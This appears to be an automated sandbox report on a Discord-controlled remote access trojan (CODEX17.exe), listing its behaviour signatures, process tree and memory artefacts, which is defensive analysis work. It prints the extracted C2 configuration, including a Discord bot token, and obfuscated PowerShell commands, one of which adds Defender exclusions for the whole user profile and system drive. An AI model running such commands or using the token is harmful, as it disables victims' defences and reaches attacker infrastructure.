Analysis
- max time kernel
94s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
11/12/2024, 14:17
General
- Target CODEX17.exe
- Size 307KB
- Sample241211-rlwfbswkhz
- SHA256 1e5a4524dab6f1e4125043a7cdcfb6874c32a0514941ec4a90211f53efeef058
Malware Config
Extracted
-
discordrat
-
discord_token
MTMwODQxMjQ0MjIyODk1MzIwMA.GV9W16.iYVXo71VO-dFm-6aOmZjrpuYUGqFHWVGtkvM5Q
-
server_id
1316071968298111026
Signatures
- Discord RAT
A RAT written in C# using Discord as a C2.
- Discordrat family
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 10 IoCs
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\CODEX17.exe"C:\Users\Admin\AppData\Local\Temp\CODEX17.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAaABrACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGQAaABiACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARQByAHIAbwByACcALAAnACcALAAnAE8ASwAnACwAJwBXAGEAcgBuAGkAbgBnACcAKQA8ACMAaABoAG4AIwA+AA=="2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAdABiACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdQB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHQAaAB5ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGUAZQB0ACMAPgA="2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Client-built.exe"C:\Users\Admin\AppData\Local\Temp\Client-built.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
Client-built.exe
__PSScriptPolicyTest_kfvrf2hr.zm3.ps1
memory/2184-68-0x0000000007170000-0x000000000717E000-memory.dmp
memory/2184-69-0x0000000007180000-0x0000000007194000-memory.dmp
memory/2184-49-0x0000000006DC0000-0x0000000006DF2000-memory.dmp
memory/2184-67-0x0000000007130000-0x0000000007141000-memory.dmp
memory/2184-70-0x0000000007260000-0x000000000727A000-memory.dmp
memory/2184-65-0x00000000071C0000-0x0000000007256000-memory.dmp
memory/2184-62-0x0000000006FB0000-0x0000000006FBA000-memory.dmp
memory/2184-61-0x0000000006E00000-0x0000000006EA3000-memory.dmp
memory/2184-71-0x00000000071B0000-0x00000000071B8000-memory.dmp
memory/2184-60-0x00000000061E0000-0x00000000061FE000-memory.dmp
memory/2184-50-0x0000000070940000-0x000000007098C000-memory.dmp
memory/3172-36-0x00007FFCE99F0000-0x00007FFCEA4B1000-memory.dmp
memory/3172-32-0x00007FFCE99F3000-0x00007FFCE99F5000-memory.dmp
memory/3172-78-0x00007FFCE99F0000-0x00007FFCEA4B1000-memory.dmp
memory/3172-76-0x00007FFCE99F0000-0x00007FFCEA4B1000-memory.dmp
memory/3172-75-0x00007FFCE99F3000-0x00007FFCE99F5000-memory.dmp
memory/3172-31-0x00000233648D0000-0x00000233648E8000-memory.dmp
memory/3172-48-0x000002337F6E0000-0x000002337FC08000-memory.dmp
memory/3172-33-0x000002337EEE0000-0x000002337F0A2000-memory.dmp
memory/5092-18-0x0000000005C50000-0x0000000005C6E000-memory.dmp
memory/5092-6-0x0000000004E30000-0x0000000004E96000-memory.dmp
memory/5092-19-0x0000000005C90000-0x0000000005CDC000-memory.dmp
memory/5092-35-0x0000000006160000-0x000000000617A000-memory.dmp
memory/5092-17-0x0000000005720000-0x0000000005A74000-memory.dmp
memory/5092-66-0x00000000740B0000-0x0000000074860000-memory.dmp
memory/5092-7-0x0000000004EA0000-0x0000000004F06000-memory.dmp
memory/5092-47-0x0000000007020000-0x00000000070B2000-memory.dmp
memory/5092-5-0x0000000004C90000-0x0000000004CB2000-memory.dmp
memory/5092-4-0x00000000740B0000-0x0000000074860000-memory.dmp
memory/5092-2-0x0000000004F10000-0x0000000005538000-memory.dmp
memory/5092-3-0x00000000740B0000-0x0000000074860000-memory.dmp
memory/5092-1-0x0000000002690000-0x00000000026C6000-memory.dmp
memory/5092-46-0x0000000007ED0000-0x0000000008474000-memory.dmp
memory/5092-0-0x00000000740BE000-0x00000000740BF000-memory.dmp
memory/5092-34-0x00000000072A0000-0x000000000791A000-memory.dmp